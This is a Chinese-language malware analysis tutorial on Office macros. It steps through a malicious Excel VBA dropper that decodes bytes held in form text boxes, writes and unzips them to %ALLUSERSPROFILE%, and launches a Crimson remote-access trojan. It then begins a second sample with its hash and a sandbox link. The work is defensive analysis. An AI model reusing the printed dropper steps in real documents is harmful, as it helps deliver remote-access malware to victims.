恶意代码分析之Office宏代码分析( 四 )


恶意代码分析之Office宏代码分析

文章插图
 
接下来,程序通过VBA的Dir方法判断上面的fldr_Aldi_name路径是否存在,如果不存在则通过MkDir创建该路径 。
If Dir(fldr_Aldi_name, vbDirectory) = "" ThenMkDir (fldr_Aldi_name)End IfTdlawis路径创建成功之后,程序将对fldrz_Aldi_name 重新赋值,并且通过同样的手法尝试创建%ALLUSERSPROFILE%Dlphaws路径 。
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"If Dir(fldrz_Aldi_name, vbDirectory) = "" ThenMkDir (fldrz_Aldi_name)End If接下来程序通过zip_Aldi_file = fldrz_Aldi_name & “omthrpa.zip”声明一个zip路径,路径应该为%ALLUSERSPROFILE%Dlphawsomthrpa.zip
通过path_Aldi_file = fldr_Aldi_name & file_Aldi_name & “.exe”声明一个path路径,路径应该为:%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe
恶意代码分析之Office宏代码分析

文章插图
 
接下来,程序通过Application.OperatingSystem获取当前操作系统的版本并根据不同的情况进行不同的处理,如果当前系统版本为6.02或6.03,程序将获取UserForm1.TextBox2.Text的信息赋值给ar1Aldi 。否则获取UserForm1.TextBox1.Text的内容赋值给ar1Aldi 。
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Thenar1Aldi = Split(UserForm1.TextBox2.Text, ":")Elsear1Aldi = Split(UserForm1.TextBox1.Text, ":")End If关于获取操作系统版本信息的文档,可在这里找到 。
操作系统判断完成之后,程序就会将我们之前看到的窗体中的数据赋值给ar1Aldi变量:
恶意代码分析之Office宏代码分析

文章插图
 
然后通过一个for each循环对刚才赋值的ar1Aldi进行解密:
For Each vl In ar1AldiReDim Preserve btsAldi(linAldi)btsAldi(linAldi) = CByte(vl)linAldi = linAldi + 1Next然后我们可以直接光标定位到循环后面的代码,按Ctrl + F8 跑完循环
恶意代码分析之Office宏代码分析

文章插图
 
这里我们可以看到,程序会通过二进制流的方式打开zip_Aldi_file,也就是先前定义的zip文件,然后将刚才的btsAldi进行写入 。
Open zip_Aldi_file For Binary Access Write As #2Put #2, , btsAldiClose #2
恶意代码分析之Office宏代码分析

文章插图
 
写入成功之后,程序会尝试将该zip包进行解压 。
If Len(Dir(path_Aldi_file)) = 0 ThenCall unAldizip(zip_Aldi_file, fldr_Aldi_name)End If解压的文件是zip_Aldi_file,解压的路径是fldr_Aldi_name解压成功后将会在fldr_Aldi_name目录下出现目标文件:
恶意代码分析之Office宏代码分析

文章插图
 
最后程序通过Shell path_Aldi_file, vbNormalNoFocus启动该exe,程序即从xls文件成功转入到了exe文件运行 。由于该exe由C#编写,是一个Crimson远控,关于该类木马的分析,将在后续的文章中进行介绍 。
从这个样本中,我们初步了解了office宏代码的攻击方式 。1.诱导用户启用宏,诱导方式,如果不启用宏,xls文档打开之后将不现实任何内容2.将预定义的zip数据流简单转换之后写入到窗体中3.根据操作系统版本的不同,取窗体中不同的值4.将取出来的数据进行简单变换之后还原为zip文件5.解压zip文件得到一个Crimson远控6.运行该远控
 
0x03 donot恶意文档分析样本md5:4428912f168f3f1f0554126de7b4ecedany沙箱连接为:https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/
同样的,通过any沙箱,我们可以得知该样本还是一个xls文档,我们将样本下载到本地并添加xls后缀打开 。同样的弹出了禁用宏的提示框:
恶意代码分析之Office宏代码分析

文章插图
 
启用宏之后,程序看起来是报错了
恶意代码分析之Office宏代码分析

文章插图
 
之前的经验告诉我们,这样的弹框信不得,我们单击确定之后,还是通过ALT + F11打开宏调试窗口,单击左边的对象时,发现该文档有密码保护:
恶意代码分析之Office宏代码分析

文章插图
 
通过之前介绍的工具,将密码去除之后重新打开,得到对象列表如下:
恶意代码分析之Office宏代码分析

文章插图
 


推荐阅读